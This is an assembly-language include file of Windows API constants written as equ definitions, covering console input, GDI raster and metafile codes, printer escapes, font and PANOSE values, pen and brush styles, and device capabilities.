DFCS_BUTTONRADIOIMAGE equ 0001h
DFCS_BUTTONRADIOMASK equ 0002h
DFCS_BUTTONRADIO equ 0004h
DFCS_BUTTON3STATE equ 0008h
DFCS_BUTTONPUSH equ 0010h
DFCS_INACTIVE equ 0100h
DFCS_PUSHED equ 0200h
DFCS_CHECKED equ 0400h
DFCS_ADJUSTRECT equ 2000h
DFCS_FLAT equ 4000h
DFCS_MONO equ 8000h
DDD_RAW_TARGET_PATH equ 1h
DDD_REMOVE_DEFINITION equ 2h
DDD_EXACT_MATCH_ON_REMOVE equ 4h
MAX_PATH equ 32
MOVEFILE_REPLACE_EXISTING equ 1h
MOVEFILE_COPY_ALLOWED equ 2h
MOVEFILE_DELAY_UNTIL_REBOOT equ 4h
TokenUser equ 1
TokenGroups equ 2
TokenPrivileges equ 3
TokenOwner equ 4
TokenPrimaryGroup equ 5
TokenDefaultDacl equ 6
TokenSource equ 7
TokenType equ 8
TokenImpersonationLevel equ 9
TokenStatistics equ 10
GET_TAPE_MEDIA_INFORMATION equ 0
GET_TAPE_DRIVE_INFORMATION equ 1
SET_TAPE_MEDIA_INFORMATION equ 0
SET_TAPE_DRIVE_INFORMATION equ 1
FORMAT_MESSAGE_ALLOCATE_BUFFER equ 100h
FORMAT_MESSAGE_IGNORE_INSERTS equ 200h
FORMAT_MESSAGE_FROM_STRING equ 400h
FORMAT_MESSAGE_FROM_HMODULE equ 800h
FORMAT_MESSAGE_FROM_SYSTEM equ 1000h
FORMAT_MESSAGE_ARGUMENT_ARRAY equ 2000h
FORMAT_MESSAGE_MAX_WIDTH_MASK equ 0FFh
TLS_OUT_OF_INDEXES equ 0FFFFh
BACKUP_DATA equ 1h
BACKUP_EA_DATA equ 2h
BACKUP_SECURITY_DATA equ 3h
BACKUP_ALTERNATE_DATA equ 4h
BACKUP_LINK equ 5h
STREAM_MODIFIED_WHEN_READ equ 1h
STREAM_CONTAINS_SECURITY equ 2h
STARTF_USESHOWWINDOW equ 1h
STARTF_USESIZE equ 2h
STARTF_USEPOSITION equ 4h
STARTF_USECOUNTCHARS equ 8h
STARTF_USEFILLATTRIBUTE equ 10h
STARTF_RUNFULLSCREEN equ 20h
STARTF_FORCEONFEEDBACK equ 40h
STARTF_FORCEOFFFEEDBACK equ 80h
STARTF_USESTDHANDLES equ 100h
SHUTDOWN_NORETRY equ 1h
MAX_DEFAULTCHAR equ 2
CAL_ICALINTVALUE equ 1h
CAL_SCALNAME equ 2h
CAL_IYEAROFFSETRANGE equ 3h
CAL_SERASTRING equ 4h
CAL_SSHORTDATE equ 5h
CAL_SLONGDATE equ 6h
CAL_SDAYNAME1 equ 7h
CAL_SDAYNAME2 equ 8h
CAL_SDAYNAME3 equ 9h
CAL_SDAYNAME4 equ 0Ah
CAL_SDAYNAME5 equ 0Bh
CAL_SDAYNAME6 equ 0Ch
CAL_SDAYNAME7 equ 0Dh
CAL_SABBREVDAYNAME1 equ 0Eh
CAL_SABBREVDAYNAME2 equ 0Fh
CAL_SABBREVDAYNAME3 equ 10h
CAL_SABBREVDAYNAME4 equ 11h
CAL_SABBREVDAYNAME5 equ 12h
CAL_SABBREVDAYNAME6 equ 13h
CAL_SABBREVDAYNAME7 equ 14h
CAL_SMONTHNAME1 equ 15h
CAL_SMONTHNAME2 equ 16h
CAL_SMONTHNAME3 equ 17h
CAL_SMONTHNAME4 equ 18h
CAL_SMONTHNAME5 equ 19h
CAL_SMONTHNAME6 equ 1Ah
CAL_SMONTHNAME7 equ 1Bh
CAL_SMONTHNAME8 equ 1Ch
CAL_SMONTHNAME9 equ 1Dh
CAL_SMONTHNAME10 equ 1Eh
CAL_SMONTHNAME11 equ 1Fh
CAL_SMONTHNAME12 equ 20h
CAL_SMONTHNAME13 equ 21h
CAL_SABBREVMONTHNAME1 equ 22h
CAL_SABBREVMONTHNAME2 equ 23h
CAL_SABBREVMONTHNAME3 equ 24h
CAL_SABBREVMONTHNAME4 equ 25h
CAL_SABBREVMONTHNAME5 equ 26h
CAL_SABBREVMONTHNAME6 equ 27h
CAL_SABBREVMONTHNAME7 equ 28h
CAL_SABBREVMONTHNAME8 equ 29h
CAL_SABBREVMONTHNAME9 equ 2Ah
CAL_SABBREVMONTHNAME10 equ 2Bh
CAL_SABBREVMONTHNAME11 equ 2Ch
CAL_SABBREVMONTHNAME12 equ 2Dh
CAL_SABBREVMONTHNAME13 equ 2Eh
ENUM_ALL_CALENDARS equ 0FFFFh
CAL_GREGORIAN equ 1
CAL_GREGORIAN_US equ 2
CAL_JAPAN equ 3
CAL_TAIWAN equ 4
CAL_KOREA equ 5
RIGHT_ALT_PRESSED equ 1h
LEFT_ALT_PRESSED equ 2h
RIGHT_CTRL_PRESSED equ 4h
LEFT_CTRL_PRESSED equ 8h
SHIFT_PRESSED equ 10h
NUMLOCK_ON equ 20h
SCROLLLOCK_ON equ 40h
CAPSLOCK_ON equ 80h
ENHANCED_KEY equ 100h
FROM_LEFT_1ST_BUTTON_PRESSED equ 1h
RIGHTMOST_BUTTON_PRESSED equ 2h
FROM_LEFT_2ND_BUTTON_PRESSED equ 4h
FROM_LEFT_3RD_BUTTON_PRESSED equ 8h
FROM_LEFT_4TH_BUTTON_PRESSED equ 10h
MOUSE_MOVED equ 1h
DOUBLE_CLICK equ 2h
KEY_EVENT equ 1h
mouse_eventC equ 2h
WINDOW_BUFFER_SIZE_EVENT equ 4h
MENU_EVENT equ 8h
FOCUS_EVENT equ 10h
FOREGROUND_BLUE equ 1h
FOREGROUND_GREEN equ 2h
FOREGROUND_RED equ 4h
FOREGROUND_INTENSITY equ 8h
BACKGROUND_BLUE equ 10h
BACKGROUND_GREEN equ 20h
BACKGROUND_RED equ 40h
BACKGROUND_INTENSITY equ 80h
CTRL_C_EVENT equ 0
CTRL_BREAK_EVENT equ 1
CTRL_CLOSE_EVENT equ 2
CTRL_LOGOFF_EVENT equ 5
CTRL_SHUTDOWN_EVENT equ 6
ENABLE_PROCESSED_INPUT equ 1h
ENABLE_LINE_INPUT equ 2h
ENABLE_ECHO_INPUT equ 4h
ENABLE_WINDOW_INPUT equ 8h
ENABLE_MOUSE_INPUT equ 10h
ENABLE_PROCESSED_OUTPUT equ 1h
ENABLE_WRAP_AT_EOL_OUTPUT equ 2h
CONSOLE_TEXTMODE_BUFFER equ 1
R2_BLACK equ 1
R2_NOTMERGEPEN equ 2
R2_MASKNOTPEN equ 3
R2_NOTCOPYPEN equ 4
R2_MASKPENNOT equ 5
R2_NOT equ 6
R2_XORPEN equ 7
R2_NOTMASKPEN equ 8
R2_MASKPEN equ 9
R2_NOTXORPEN equ 10
R2_NOP equ 11
R2_MERGENOTPEN equ 12
R2_COPYPEN equ 13
R2_MERGEPENNOT equ 14
R2_MERGEPEN equ 15
R2_WHITE equ 16
R2_LAST equ 16
SRCCOPY equ 0CC0020h
SRCPAINT equ 0EE0086h
SRCAND equ 8800C6h
SRCINVERT equ 660046h
SRCERASE equ 440328h
NOTSRCCOPY equ 330008h
NOTSRCERASE equ 1100A6h
MERGECOPY equ 0C000CAh
MERGEPAINT equ 0BB0226h
PATCOPY equ 0F00021h
PATPAINT equ 0FB0A09h
PATINVERT equ 5A0049h
DSTINVERT equ 550009h
BLACKNESS equ 42h
WHITENESS equ 0FF0062h
GDI_ERROR equ 0FFFFh
HGDI_ERROR equ 0FFFFh
ERRORAPI equ 0
NULLREGION equ 1
SIMPLEREGION equ 2
COMPLEXREGION equ 3
RGN_AND equ 1
RGN_OR equ 2
RGN_XOR equ 3
RGN_DIFF equ 4
RGN_COPY equ 5
RGN_MIN equ RGN_AND
RGN_MAX equ RGN_COPY
BLACKONWHITE equ 1
WHITEONBLACK equ 2
COLORONCOLOR equ 3
HALFTONE equ 4
MAXSTRETCHBLTMODE equ 4
ALTERNATE equ 1
WINDING equ 2
POLYFILL_LAST equ 2
TA_NOUPDATECP equ 0
TA_UPDATECP equ 1
TA_LEFT equ 0
TA_RIGHT equ 2
TA_CENTER equ 6
TA_TOP equ 0
TA_BOTTOM equ 8
TA_BASELINE equ 24
TA_MASK equ TA_BASELINE+TA_CENTER+TA_UPDATECP
VTA_BASELINE equ TA_BASELINE
VTA_LEFT equ TA_BOTTOM
VTA_RIGHT equ TA_TOP
VTA_CENTER equ TA_CENTER
VTA_BOTTOM equ TA_RIGHT
VTA_TOP equ TA_LEFT
ETO_GRAYED equ 1
ETO_OPAQUE equ 2
ETO_CLIPPED equ 4
ASPECT_FILTERING equ 1h
DCB_RESET equ 1h
DCB_ACCUMULATE equ 2h
DCB_DIRTY equ DCB_ACCUMULATE
DCB_SET equ DCB_RESET|DCB_ACCUMULATE
DCB_ENABLE equ 4h
DCB_DISABLE equ 8h
META_SETBKCOLOR equ 201h
META_SETBKMODE equ 102h
META_SETMAPMODE equ 103h
META_SETROP2 equ 104h
META_SETRELABS equ 105h
META_SETPOLYFILLMODE equ 106h
META_SETSTRETCHBLTMODE equ 107h
META_SETTEXTCHAREXTRA equ 108h
META_SETTEXTCOLOR equ 209h
META_SETTEXTJUSTIFICATION equ 20Ah
META_SETWINDOWORG equ 20Bh
META_SETWINDOWEXT equ 20Ch
META_SETVIEWPORTORG equ 20Dh
META_SETVIEWPORTEXT equ 20Eh
META_OFFSETWINDOWORG equ 20Fh
META_SCALEWINDOWEXT equ 410h
META_OFFSETVIEWPORTORG equ 211h
META_SCALEVIEWPORTEXT equ 412h
META_LINETO equ 213h
META_MOVETO equ 214h
META_EXCLUDECLIPRECT equ 415h
META_INTERSECTCLIPRECT equ 416h
META_ARC equ 817h
META_ELLIPSE equ 418h
META_FLOODFILL equ 419h
META_PIE equ 81Ah
META_RECTANGLE equ 41Bh
META_ROUNDRECT equ 61Ch
META_PATBLT equ 61Dh
META_SAVEDC equ 1Eh
META_SETPIXEL equ 41Fh
META_OFFSETCLIPRGN equ 220h
META_TEXTOUT equ 521h
META_BITBLT equ 922h
META_STRETCHBLT equ 0B23h
META_POLYGON equ 324h
META_POLYLINE equ 325h
META_ESCAPE equ 626h
META_RESTOREDC equ 127h
META_FILLREGION equ 228h
META_FRAMEREGION equ 429h
META_INVERTREGION equ 12Ah
META_PAINTREGION equ 12Bh
META_SELECTCLIPREGION equ 12Ch
META_SELECTOBJECT equ 12Dh
META_SETTEXTALIGN equ 12Eh
META_CHORD equ 830h
META_SETMAPPERFLAGS equ 231h
META_EXTTEXTOUT equ 0A32h
META_SETDIBTODEV equ 0D33h
META_SELECTPALETTE equ 234h
META_REALIZEPALETTE equ 35h
META_ANIMATEPALETTE equ 436h
META_SETPALENTRIES equ 37h
META_POLYPOLYGON equ 538h
META_RESIZEPALETTE equ 139h
META_DIBBITBLT equ 940h
META_DIBSTRETCHBLT equ 0B41h
META_DIBCREATEPATTERNBRUSH equ 142h
META_STRETCHDIB equ 0F43h
META_EXTFLOODFILL equ 548h
META_DELETEOBJECT equ 1F0h
META_CREATEPALETTE equ 0F7h
META_CREATEPATTERNBRUSH equ 1F9h
META_CREATEPENINDIRECT equ 2FAh
META_CREATEFONTINDIRECT equ 2FBh
META_CREATEBRUSHINDIRECT equ 2FCh
META_CREATEREGION equ 6FFh
NEWFRAME equ 1
AbortDocC equ 2
NEXTBAND equ 3
SETCOLORTABLE equ 4
GETCOLORTABLE equ 5
FLUSHOUTPUT equ 6
DRAFTMODE equ 7
QUERYESCSUPPORT equ 8
SETABORTPROC equ 9
StartDocC equ 10
EndDocC equ 11
GETPHYSPAGESIZE equ 12
GETPRINTINGOFFSET equ 13
GETSCALINGFACTOR equ 14
MFCOMMENT equ 15
GETPENWIDTH equ 16
SETCOPYCOUNT equ 17
SELECTPAPERSOURCE equ 18
DEVICEDATA equ 19
PASSTHROUGH equ 19
GETTECHNOLGY equ 20
GETTECHNOLOGY equ 20
SETLINECAP equ 21
SETLINEJOIN equ 22
SetMiterLimitC equ 23
BANDINFO equ 24
DRAWPATTERNRECT equ 25
GETVECTORPENSIZE equ 26
GETVECTORBRUSHSIZE equ 27
ENABLEDUPLEX equ 28
GETSETPAPERBINS equ 29
GETSETPRINTORIENT equ 30
ENUMPAPERBINS equ 31
SETDIBSCALING equ 32
EPSPRINTING equ 33
ENUMPAPERMETRICS equ 34
GETSETPAPERMETRICS equ 35
POSTSCRIPT_DATA equ 37
POSTSCRIPT_IGNORE equ 38
MOUSETRAILS equ 39
GETDEVICEUNITS equ 42
GETEXTENDEDTEXTMETRICS equ 256
GETEXTENTTABLE equ 257
GETPAIRKERNTABLE equ 258
GETTRACKKERNTABLE equ 259
ExtTextOutC equ 512
GETFACENAME equ 513
DOWNLOADFACE equ 514
ENABLERELATIVEWIDTHS equ 768
ENABLEPAIRKERNING equ 769
SETKERNTRACK equ 770
SETALLJUSTVALUES equ 771
SETCHARSET equ 772
StretchBltC equ 2048
GETSETSCREENPARAMS equ 3072
BEGIN_PATH equ 4096
CLIP_TO_PATH equ 4097
END_PATH equ 4098
EXT_DEVICE_CAPS equ 4099
RESTORE_CTM equ 4100
SAVE_CTM equ 4101
SET_ARC_DIRECTION equ 4102
SET_BACKGROUND_COLOR equ 4103
SET_POLY_MODE equ 4104
SET_SCREEN_ANGLE equ 4105
SET_SPREAD equ 4106
TRANSFORM_CTM equ 4107
SET_CLIP_BOX equ 4108
SET_BOUNDS equ 4109
SET_MIRROR_MODE equ 4110
OPENCHANNEL equ 4110
DOWNLOADHEADER equ 4111
CLOSECHANNEL equ 4112
POSTSCRIPT_PASSTHROUGH equ 4115
ENCAPSULATED_POSTSCRIPT equ 4116
SP_NOTREPORTED equ 4000h
SP_ERROR equ -1
SP_APPABORT equ -2
SP_USERABORT equ -3
SP_OUTOFDISK equ -4
SP_OUTOFMEMORY equ -5
PR_JOBSTATUS equ 0h
OBJ_PEN equ 1
OBJ_BRUSH equ 2
OBJ_DC equ 3
OBJ_METADC equ 4
OBJ_PAL equ 5
OBJ_FONT equ 6
OBJ_BITMAP equ 7
OBJ_REGION equ 8
OBJ_METAFILE equ 9
OBJ_MEMDC equ 10
OBJ_EXTPEN equ 11
OBJ_ENHMETADC equ 12
OBJ_ENHMETAFILE equ 13
MWT_IDENTITY equ 1
MWT_LEFTMULTIPLY equ 2
MWT_RIGHTMULTIPLY equ 3
MWT_MIN equ MWT_IDENTITY
MWT_MAX equ MWT_RIGHTMULTIPLY
BI_RGB equ 0
BI_RLE8 equ 1
BI_RLE4 equ 2
BI_bitfields equ 3
NTM_REGULAR equ 40h
NTM_BOLD equ 20h
NTM_ITALIC equ 1h
TMPF_FIXED_PITCH equ 1h
TMPF_VECTOR equ 2h
TMPF_DEVICE equ 8h
TMPF_TRUETYPE equ 4h
LF_FACESIZE equ 32
LF_FULLFACESIZE equ 64
OUT_DEFAULT_PRECIS equ 0
OUT_STRING_PRECIS equ 1
OUT_CHARACTER_PRECIS equ 2
OUT_STROKE_PRECIS equ 3
OUT_TT_PRECIS equ 4
OUT_DEVICE_PRECIS equ 5
OUT_RASTER_PRECIS equ 6
OUT_TT_ONLY_PRECIS equ 7
OUT_OUTLINE_PRECIS equ 8
CLIP_DEFAULT_PRECIS equ 0
CLIP_CHARACTER_PRECIS equ 1
CLIP_STROKE_PRECIS equ 2
CLIP_MASK equ 0Fh
CLIP_LH_ANGLES equ 16
CLIP_TT_ALWAYS equ 32
CLIP_EMBEDDED equ 128
DEFAULT_QUALITY equ 0
DRAFT_QUALITY equ 1
PROOF_QUALITY equ 2
DEFAULT_PITCH equ 0
FIXED_PITCH equ 1
VARIABLE_PITCH equ 2
ANSI_CHARSET equ 0
DEFAULT_CHARSET equ 1
SYMBOL_CHARSET equ 2
SHIFTJIS_CHARSET equ 128
HANGEUL_CHARSET equ 129
CHINESEBIG5_CHARSET equ 136
OEM_CHARSET equ 255
FF_DONTCARE equ 0
FF_ROMAN equ 16
FF_SWISS equ 32
FF_MODERN equ 48
FF_SCRIPT equ 64
FF_DECORATIVE equ 80
FW_DONTCARE equ 0
FW_THIN equ 100
FW_EXTRALIGHT equ 200
FW_LIGHT equ 300
FW_NORMAL equ 400
FW_MEDIUM equ 500
FW_SEMIBOLD equ 600
FW_BOLD equ 700
FW_EXTRABOLD equ 800
FW_HEAVY equ 900
FW_ULTRALIGHT equ FW_EXTRALIGHT
FW_REGULAR equ FW_NORMAL
FW_DEMIBOLD equ FW_SEMIBOLD
FW_ULTRABOLD equ FW_EXTRABOLD
FW_BLACK equ FW_HEAVY
PANOSE_COUNT equ 10
PAN_FAMILYTYPE_INDEX equ 0
PAN_SERIFSTYLE_INDEX equ 1
PAN_WEIGHT_INDEX equ 2
PAN_PROPORTION_INDEX equ 3
PAN_CONTRAST_INDEX equ 4
PAN_STROKEVARIATION_INDEX equ 5
PAN_ARMSTYLE_INDEX equ 6
PAN_LETTERFORM_INDEX equ 7
PAN_MIDLINE_INDEX equ 8
PAN_XHEIGHT_INDEX equ 9
PAN_CULTURE_LATIN equ 0
PAN_ANY equ 0
PAN_NO_FIT equ 1
PAN_FAMILY_TEXT_DISPLAY equ 2
PAN_FAMILY_SCRIPT equ 3
PAN_FAMILY_DECORATIVE equ 4
PAN_FAMILY_PICTORIAL equ 5
PAN_SERIF_COVE equ 2
PAN_SERIF_OBTUSE_COVE equ 3
PAN_SERIF_SQUARE_COVE equ 4
PAN_SERIF_OBTUSE_SQUARE_COVE equ 5
PAN_SERIF_SQUARE equ 6
PAN_SERIF_THIN equ 7
PAN_SERIF_BONE equ 8
PAN_SERIF_EXAGGERATED equ 9
PAN_SERIF_TRIANGLE equ 10
PAN_SERIF_NORMAL_SANS equ 11
PAN_SERIF_OBTUSE_SANS equ 12
PAN_SERIF_PERP_SANS equ 13
PAN_SERIF_FLARED equ 14
PAN_SERIF_ROUNDED equ 15
PAN_WEIGHT_VERY_LIGHT equ 2
PAN_WEIGHT_LIGHT equ 3
PAN_WEIGHT_THIN equ 4
PAN_WEIGHT_BOOK equ 5
PAN_WEIGHT_MEDIUM equ 6
PAN_WEIGHT_DEMI equ 7
PAN_WEIGHT_BOLD equ 8
PAN_WEIGHT_HEAVY equ 9
PAN_WEIGHT_BLACK equ 10
PAN_WEIGHT_NORD equ 11
PAN_PROP_OLD_STYLE equ 2
PAN_PROP_MODERN equ 3
PAN_PROP_EVEN_WIDTH equ 4
PAN_PROP_EXPANDED equ 5
PAN_PROP_CONDENSED equ 6
PAN_PROP_VERY_EXPANDED equ 7
PAN_PROP_VERY_CONDENSED equ 8
PAN_PROP_MONOSPACED equ 9
PAN_CONTRAST_NONE equ 2
PAN_CONTRAST_VERY_LOW equ 3
PAN_CONTRAST_LOW equ 4
PAN_CONTRAST_MEDIUM_LOW equ 5
PAN_CONTRAST_MEDIUM equ 6
PAN_CONTRAST_MEDIUM_HIGH equ 7
PAN_CONTRAST_HIGH equ 8
PAN_CONTRAST_VERY_HIGH equ 9
PAN_STROKE_GRADUAL_DIAG equ 2
PAN_STROKE_GRADUAL_TRAN equ 3
PAN_STROKE_GRADUAL_VERT equ 4
PAN_STROKE_GRADUAL_HORZ equ 5
PAN_STROKE_RAPID_VERT equ 6
PAN_STROKE_RAPID_HORZ equ 7
PAN_STROKE_INSTANT_VERT equ 8
PAN_STRAIGHT_ARMS_HORZ equ 2
PAN_STRAIGHT_ARMS_WEDGE equ 3
PAN_STRAIGHT_ARMS_VERT equ 4
PAN_STRAIGHT_ARMS_SINGLE_SERIF equ 5
PAN_STRAIGHT_ARMS_DOUBLE_SERIF equ 6
PAN_BENT_ARMS_HORZ equ 7
PAN_BENT_ARMS_WEDGE equ 8
PAN_BENT_ARMS_VERT equ 9
PAN_BENT_ARMS_SINGLE_SERIF equ 10
PAN_BENT_ARMS_DOUBLE_SERIF equ 11
PAN_LETT_NORMAL_CONTACT equ 2
PAN_LETT_NORMAL_WEIGHTED equ 3
PAN_LETT_NORMAL_BOXED equ 4
PAN_LETT_NORMAL_FLATTENED equ 5
PAN_LETT_NORMAL_ROUNDED equ 6
PAN_LETT_NORMAL_OFF_CENTER equ 7
PAN_LETT_NORMAL_SQUARE equ 8
PAN_LETT_OBLIQUE_CONTACT equ 9
PAN_LETT_OBLIQUE_WEIGHTED equ 10
PAN_LETT_OBLIQUE_BOXED equ 11
PAN_LETT_OBLIQUE_FLATTENED equ 12
PAN_LETT_OBLIQUE_ROUNDED equ 13
PAN_LETT_OBLIQUE_OFF_CENTER equ 14
PAN_LETT_OBLIQUE_SQUARE equ 15
PAN_MIDLINE_STANDARD_TRIMMED equ 2
PAN_MIDLINE_STANDARD_POINTED equ 3
PAN_MIDLINE_STANDARD_SERIFED equ 4
PAN_MIDLINE_HIGH_TRIMMED equ 5
PAN_MIDLINE_HIGH_POINTED equ 6
PAN_MIDLINE_HIGH_SERIFED equ 7
PAN_MIDLINE_CONSTANT_TRIMMED equ 8
PAN_MIDLINE_CONSTANT_POINTED equ 9
PAN_MIDLINE_CONSTANT_SERIFED equ 10
PAN_MIDLINE_LOW_TRIMMED equ 11
PAN_MIDLINE_LOW_POINTED equ 12
PAN_MIDLINE_LOW_SERIFED equ 13
PAN_XHEIGHT_CONSTANT_SMALL equ 2
PAN_XHEIGHT_CONSTANT_STD equ 3
PAN_XHEIGHT_CONSTANT_LARGE equ 4
PAN_XHEIGHT_DUCKING_SMALL equ 5
PAN_XHEIGHT_DUCKING_STD equ 6
PAN_XHEIGHT_DUCKING_LARGE equ 7
ELF_VENDOR_SIZE equ 4
ELF_VERSION equ 0
ELF_CULTURE_LATIN equ 0
RASTER_FONTTYPE equ 1h
DEVICE_FONTTYPE equ 2h
TRUETYPE_FONTTYPE equ 4h
PC_RESERVED equ 1h
PC_EXPLICIT equ 2h
PC_NOCOLLAPSE equ 4h
TRANSPARENT equ 1
OPAQUE equ 2
BKMODE_LAST equ 2
GM_COMPATIBLE equ 1
GM_ADVANCED equ 2
GM_LAST equ 2
PT_CLOSEFIGURE equ 1h
PT_LINETO equ 2h
PT_BEZIERTO equ 4h
PT_MOVETO equ 6h
MM_TEXT equ 1
MM_LOMETRIC equ 2
MM_HIMETRIC equ 3
MM_LOENGLISH equ 4
MM_HIENGLISH equ 5
MM_TWIPS equ 6
MM_ISOTROPIC equ 7
MM_ANISOTROPIC equ 8
MM_MIN equ MM_TEXT
MM_MAX equ MM_ANISOTROPIC
MM_MAX_FIXEDSCALE equ MM_TWIPS
_ABSOLUTE equ 1
RELATIVE equ 2
WHITE_BRUSH equ 0
LTGRAY_BRUSH equ 1
GRAY_BRUSH equ 2
DKGRAY_BRUSH equ 3
BLACK_BRUSH equ 4
NULL_BRUSH equ 5
HOLLOW_BRUSH equ NULL_BRUSH
WHITE_PEN equ 6
BLACK_PEN equ 7
NULL_PEN equ 8
OEM_FIXED_FONT equ 10
ANSI_FIXED_FONT equ 11
ANSI_VAR_FONT equ 12
SYSTEM_FONT equ 13
DEVICE_DEFAULT_FONT equ 14
DEFAULT_PALETTE equ 15
SYSTEM_FIXED_FONT equ 16
STOCK_LAST equ 16
CLR_INVALID equ 0FFFFh
BS_SOLID equ 0
BS_NULL equ 1
BS_HOLLOW equ BS_NULL
BS_HATCHED equ 2
BS_PATTERN equ 3
BS_INDEXED equ 4
BS_DIBPATTERN equ 5
BS_DIBPATTERNPT equ 6
BS_PATTERN8X8 equ 7
BS_DIBPATTERN8X8 equ 8
HS_HORIZONTAL equ 0
HS_VERTICAL equ 1
HS_FDIAGONAL equ 2
HS_BDIAGONAL equ 3
HS_CROSS equ 4
HS_DIAGCROSS equ 5
HS_FDIAGONAL1 equ 6
HS_BDIAGONAL1 equ 7
HS_SOLID equ 8
HS_DENSE1 equ 9
HS_DENSE2 equ 10
HS_DENSE3 equ 11
HS_DENSE4 equ 12
HS_DENSE5 equ 13
HS_DENSE6 equ 14
HS_DENSE7 equ 15
HS_DENSE8 equ 16
HS_NOSHADE equ 17
HS_HALFTONE equ 18
HS_SOLIDCLR equ 19
HS_DITHEREDCLR equ 20
HS_SOLIDTEXTCLR equ 21
HS_DITHEREDTEXTCLR equ 22
HS_SOLIDBKCLR equ 23
HS_DITHEREDBKCLR equ 24
HS_API_MAX equ 25
PS_SOLID equ 0
PS_DASH equ 1
PS_DOT equ 2
PS_DASHDOT equ 3
PS_DASHDOTDOT equ 4
PS_NULL equ 5
PS_INSIDEFRAME equ 6
PS_USERSTYLE equ 7
PS_ALTERNATE equ 8
PS_STYLE_MASK equ 0Fh
PS_ENDCAP_ROUND equ 0h
PS_ENDCAP_SQUARE equ 100h
PS_ENDCAP_FLAT equ 200h
PS_ENDCAP_MASK equ 0F00h
PS_JOIN_ROUND equ 0h
PS_JOIN_BEVEL equ 1000h
PS_JOIN_MITER equ 2000h
PS_JOIN_MASK equ 0F000h
PS_COSMETIC equ 0h
PS_GEOMETRIC equ 10000h
PS_TYPE_MASK equ 0F0000h
AD_COUNTERCLOCKWISE equ 1
AD_CLOCKWISE equ 2
PRF_CHECKVISIBLE equ 00000001h
PRF_NONCLIENT equ 00000002h
PRF_CLIENT equ 00000004h
PRF_ERASEBKGND equ 00000008h
PRF_CHILDREN equ 00000010h
PRF_OWNED equ 00000020h
BDR_RAISEDOUTER equ 0001h
BDR_SUNKENOUTER equ 0002h
BDR_RAISEDINNER equ 0004h
BDR_SUNKENINNER equ 0008h
BDR_OUTER equ 0003h
BDR_INNER equ 000Ch
BDR_RAISED equ 0005h
BDR_SUNKEN equ 000Ah
EDGE_RAISED equ BDR_RAISEDOUTER|BDR_RAISEDINNER
EDGE_SUNKEN equ BDR_SUNKENOUTER|BDR_SUNKENINNER
EDGE_ETCHED equ BDR_SUNKENOUTER|BDR_RAISEDINNER
EDGE_BUMP equ BDR_RAISEDOUTER|BDR_SUNKENINNER
BF_LEFT equ 0001h
BF_TOP equ 0002h
BF_RIGHT equ 0004h
BF_BOTTOM equ 0008h
BF_TOPLEFT equ BF_TOP|BF_LEFT
BF_TOPRIGHT equ BF_TOP|BF_RIGHT
BF_BOTTOMLEFT equ BF_BOTTOM|BF_LEFT
BF_BOTTOMRIGHT equ BF_BOTTOM|BF_RIGHT
BF_RECT equ BF_LEFT|BF_TOP|BF_RIGHT|BF_BOTTOM
BF_DIAGONAL equ 0010h
BF_DIAGONAL_ENDTOPRIGHT equ BF_DIAGONAL|BF_TOP|BF_RIGHT
BF_DIAGONAL_ENDTOPLEFT equ BF_DIAGONAL|BF_TOP|BF_LEFT
BF_DIAGONAL_ENDBOTTOMLEFT equ BF_DIAGONAL|BF_BOTTOM|BF_LEFT
BF_DIAGONAL_ENDBOTTOMRIGHT equ BF_DIAGONAL|BF_BOTTOM|BF_RIGHT
BF_MIDDLE equ 0800h
BF_SOFT equ 1000h
BF_ADJUST equ 2000h
BF_FLAT equ 4000h
BF_MONO equ 8000h
DRIVERVERSION equ 0
TECHNOLOGY equ 2
HORZSIZE equ 4
VERTSIZE equ 6
HORZRES equ 8
VERTRES equ 10
BITSPIXEL equ 12
PLANES equ 14
NUMBRUSHES equ 16
NUMPENS equ 18
NUMMARKERS equ 20
NUMFONTS equ 22
NUMCOLORS equ 24
PDEVICESIZE equ 26
CURVECAPS equ 28
LINECAPS equ 30
POLYGONALCAPS equ 32
TEXTCAPS equ 34
CLIPCAPS equ 36
RASTERCAPS equ 38
ASPECTX equ 40
ASPECTY equ 42
ASPECTXY equ 44
LOGPIXELSX equ 88
LOGPIXELSY equ 90
SIZEPALETTE equ 104
NUMRESERVED equ 106
COLORRES equ 108
PHYSICALWIDTH equ 110
PHYSICALHEIGHT equ 111
PHYSICALOFFSETX equ 112
PHYSICALOFFSETY equ 113
SCALINGFACTORX equ 114
SCALINGFACTORY equ 115
DT_PLOTTER equ 0
DT_RASDISPLAY equ 1
DT_RASPRINTER equ 2
DT_RASCAMERA equ 3
DT_CHARSTREAM equ 4
DT_METAFILE equ 5
DT_DISPFILE equ 6
CC_NONE equ 0
CC_CIRCLES equ 1
CC_PIE equ 2
CC_CHORD equ 4
CC_ELLIPSES equ 8
CC_WIDE equ 16
CC_STYLED equ 32
CC_WIDESTYLED equ 64
CC_INTERIORS equ 128
CC_ROUNDRECT equ 256
LC_NONE equ 0
LC_POLYLINE equ 2
LC_MARKER equ 4
LC_POLYMARKER equ 8
LC_WIDE equ 16
LC_STYLED equ 32
LC_WIDESTYLED equ 64
LC_INTERIORS equ 128
PC_NONE equ 0
PC_POLYGON equ 1
PC_RECTANGLE equ 2
PC_WINDPOLYGON equ 4
PC_TRAPEZOID equ 4
PC_SCANLINE equ 8
PC_WIDE equ 16
PC_STYLED equ 32
PC_WIDESTYLED equ 64
PC_INTERIORS equ 128
CP_NONE equ 0
CP_RECTANGLE equ 1
CP_REGION equ 2
TC_OP_CHARACTER equ 1h
TC_OP_STROKE equ 2h
TC_CP_STROKE equ 4h
TC_CR_90 equ 8h
TC_CR_ANY equ 10h
TC_SF_X_YINDEP equ 20h
TC_SA_DOUBLE equ 40h
TC_SA_INTEGER equ 80h
TC_SA_CONTIN equ 100h
TC_EA_DOUBLE equ 200h
TC_IA_ABLE equ 400h
TC_UA_ABLE equ 800h
TC_SO_ABLE equ 1000h
TC_RA_ABLE equ 2000h
TC_VA_ABLE equ 4000h
TC_RESERVED equ 8000h
TC_SCROLLBLT equ 10000h
RC_NONE equ 0
RC_BITBLT equ 1
RC_BANDING equ 2
RC_SCALING equ 4
RC_BITMAP64 equ 8
RC_GDI20_OUTPUT equ 10h
RC_GDI20_STATE equ 20h
RC_SAVEBITMAP equ 40h
RC_DI_BITMAP equ 80h
RC_PALETTE equ 100h
RC_DIBTODEV equ 200h
RC_BIGFONT equ 400h
RC_STRETCHBLT equ 800h
RC_FLOODFILL equ 1000h
RC_STRETCHDIB equ 2000h
RC_OP_DX_OUTPUT equ 4000h
RC_DEVBITS equ 8000h
DIB_RGB_COLORS equ 0
DIB_PAL_COLORS equ 1
